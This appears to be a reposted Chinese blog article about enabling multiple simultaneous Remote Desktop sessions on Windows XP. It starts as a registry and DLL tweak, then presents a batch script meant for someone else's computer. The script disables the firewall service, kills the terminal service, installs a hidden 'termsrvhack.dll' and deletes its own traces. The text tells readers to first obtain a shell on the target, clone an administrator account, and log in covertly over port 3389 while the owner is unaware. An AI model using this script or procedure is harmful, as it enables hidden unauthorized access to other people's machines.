Windows XP中实现多用户同玩一台电脑

2024-01-11 14:48

本文主要是介绍Windows XP中实现多用户同玩一台电脑,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第一步:首先是在Windows XP上安装SP2正式版,按照常规方式安装即可,这里不再赘述。

  第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了,所以最好使用之前版本),中文SP2测试版较难找到,我用的是英文版Build 2055,运行之后没有发现任何问题。你可以从http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act" target="_blank">http://www.msfn.org/board/index.php?s=8 ... c99733154ae685f&act
=Attach&type=post&id=161513下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。

  第三步:接下来,以安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常,TermSrv.DLL至少出现在二个位置,分别是:/Windows/system32,/Windows/system32/dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。

  第四步:以正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。

  第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表:

  @echo off
  setlocal
  set regkey="HKLM/SYSTEM/CurrentControlSet/Control/Terminal Server/Licensing Core"
  reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f
  endlocal

  将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了。

我不推荐这种做法 ,太烦锁了,而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆,首先我们先来了解一个对注册表操作的命令参数:

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [//Machine/]FullKey
      Machine 远程机器名 - 忽略默认到当前机器。远程机器上
            只有 HKLM 和 HKU。
      FullKey ROOTKEY/SubKey
      ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
      SubKey   所选 ROOTKEY 下注册表项的完整名。

/v     所选项之下要添加的值名。

/ve     为注册表项添加空白值名(默认)。

/t     RegKey 数据类型
      [ REG_SZ   | REG_MULTI_SZ | REG_EXPAND_SZ |
        REG_DWORD | REG_BINARY   | REG_NONE     ]
      如果忽略,则采用 REG_SZ。

/s     指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
      如果忽略,则将 "/0" 用作分隔符。

/d     要分配给添加的注册表 ValueName 的数据。

/f     不用提示就强行覆盖现有注册表项。

例如:

REG ADD //ABC/HKLM/Software/MyCo
  添加远程机器 ABC 上的一个注册表项 HKLM/Software/MyCo

REG ADD HKLM/Software/MyCo /v Data /t REG_BINARY /d fe340ead
  添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

REG ADD HKLM/Software/MyCo /v MRU /t REG_MULTI_SZ /d fax/0mail
  添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax/0mail/0/0)

REG ADD HKLM/Software/MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
  添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)
  注意: 在扩充字符串中使用插入符号 ( ^ )
 为了让系统不重起,我们可以用shutdown -a 这个命令。

  根据上面找来的资料,我们可以编写一个批处理,实现XP系统多用户登陆而又不用重起系统。

  代码如下:

@echo off
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM/SOFTWARE/Microsoft/Windows" "NT/CurrentVersion/Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM/SYSTEM/CurrentControlSet/Control/Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM/SYSTEM/CurrentControlSet/control/terminal" "server/Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM/SYSTEM/CurrentControlSet/Services/TermService/Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%/system32/termsrvhack.dll /f
@copy c:/termsrvhack.dll c:/windows/system32/dllcache/termsrvhack.dll
@attrib +h +s +r c:/windows/system32/dllcache/termsrvhack.dll
@copy c:/termsrvhack.dll c:/windows/system32/termsrvhack.dll
@attrib +h +s +r c:/windows/system32/termsrvhack.dll
@shutdown -a
@del c:/termsrvhack.dll
@net start termservice
@del c:/3389.bat

  其中“pid"是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。
具体的操作方法是:先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。

  接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功!

  最后打开登陆器,3389终端登陆!

  说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的,他玩他的,你玩你的,呵呵,爽伐?!

 

这篇关于Windows XP中实现多用户同玩一台电脑的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/594726

相关文章

Oracle数据库在windows系统上重启步骤

《Oracle数据库在windows系统上重启步骤》有时候在服务中重启了oracle之后,数据库并不能正常访问,下面:本文主要介绍Oracle数据库在windows系统上重启的相关资料,文中通过代... oracle数据库在Windows上重启的方法我这里是使用oracle自带的sqlplus工具实现的方

linux部署NFS和autofs自动挂载实现过程

《linux部署NFS和autofs自动挂载实现过程》文章介绍了NFS(网络文件系统)和Autofs的原理与配置,NFS通过RPC实现跨系统文件共享,需配置/etc/exports和nfs.conf,... 目录(一)NFS1. 什么是NFS2.NFS守护进程3.RPC服务4. 原理5. 部署5.1安装NF

Python实现自动化删除Word文档超链接的实用技巧

《Python实现自动化删除Word文档超链接的实用技巧》在日常工作中,我们经常需要处理各种Word文档,本文将深入探讨如何利用Python,特别是借助一个功能强大的库,高效移除Word文档中的超链接... 目录为什么需要移除Word文档超链接准备工作:环境搭建与库安装核心实现:使用python移除超链接的

如何正确识别一台POE交换机的好坏? 选购可靠的POE交换机注意事项

《如何正确识别一台POE交换机的好坏?选购可靠的POE交换机注意事项》POE技术已经历多年发展,广泛应用于安防监控和无线覆盖等领域,需求量大,但质量参差不齐,市场上POE交换机的品牌繁多,如何正确识... 目录生产标识1. 必须包含的信息2. 劣质设备的常见问题供电标准1. 正规的 POE 标准2. 劣质设

录音功能在哪里? 电脑手机等设备打开录音功能的技巧

《录音功能在哪里?电脑手机等设备打开录音功能的技巧》很多时候我们需要使用录音功能,电脑和手机这些常用设备怎么使用录音功能呢?下面我们就来看看详细的教程... 我们在会议讨论、采访记录、课堂学习、灵感创作、法律取证、重要对话时,都可能有录音需求,便于留存关键信息。下面分享一下如何在电脑端和手机端上找到录音功能

Python Excel 通用筛选函数的实现

《PythonExcel通用筛选函数的实现》本文主要介绍了PythonExcel通用筛选函数的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 目录案例目的示例数据假定数据来源是字典优化:通用CSV数据处理函数使用说明使用示例注意事项案例目的第一

C#使用SendMessage实现进程间通信的示例代码

《C#使用SendMessage实现进程间通信的示例代码》在软件开发中,进程间通信(IPC)是关键技术之一,C#通过调用WindowsAPI的SendMessage函数实现这一功能,本文将通过实例介绍... 目录第一章:SendMessage的底层原理揭秘第二章:构建跨进程通信桥梁2.1 定义通信协议2.2

JAVA实现亿级千万级数据顺序导出的示例代码

《JAVA实现亿级千万级数据顺序导出的示例代码》本文主要介绍了JAVA实现亿级千万级数据顺序导出的示例代码,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面... 前提:主要考虑控制内存占用空间,避免出现同时导出,导致主程序OOM问题。实现思路:A.启用线程池

Python实现中文大写金额转阿拉伯数字

《Python实现中文大写金额转阿拉伯数字》在财务票据中,中文大写金额被广泛使用以防止篡改,但在数据处理时,我们需要将其转换为阿拉伯数字形式,下面我们就来看看如何使用Python实现这一转换吧... 目录一、核心思路拆解二、中文数字解析实现三、大单位分割策略四、元角分综合处理五、测试验证六、全部代码在财务票

java 恺撒加密/解密实现原理(附带源码)

《java恺撒加密/解密实现原理(附带源码)》本文介绍Java实现恺撒加密与解密,通过固定位移量对字母进行循环替换,保留大小写及非字母字符,由于其实现简单、易于理解,恺撒加密常被用作学习加密算法的入... 目录Java 恺撒加密/解密实现1. 项目背景与介绍2. 相关知识2.1 恺撒加密算法原理2.2 Ja